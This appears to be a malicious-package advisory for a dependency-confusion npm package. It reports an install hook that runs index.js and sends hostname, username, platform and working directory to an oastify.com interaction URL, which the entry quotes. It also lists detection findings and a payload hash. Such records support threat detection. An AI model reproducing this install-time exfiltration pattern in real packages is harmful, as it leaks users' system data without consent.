GCVE-110-OSM-2026-5979

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution. ENTRY index.js (install-hook: node index.js) - Install Hook Executes Local JS File in package.json DESTINATION - oast: http://67bqpcwp4fkkoaam6aw0p4ut5kbbz3ns.oastify.com/?h=${hostname}&u=${username}&p=${platform}&d=${date}&path=${encodeURIComponent(cwd)}`; (primary, plaintext) in index.js EXFIL - OAST/Interactsh Exfiltration in index.js: "oastify.com" - Data Encoding for Exfiltration in index.js: "encodeURIComponent(cwd" - Network Request in index.js: "http.get(" - System Information Collection in index.js: "os.userInfo()" - Suspicious Domain in index.js: "oastify.com" ADDITIONAL FINDINGS - Rapid Version Publishing PAYLOAD FILES index.js INDICATORS (IOCs) - payloadFileHash: 8569fc5668b9cedd868a86868089e627a27dfe0487495e1730e09e2ef4b703dd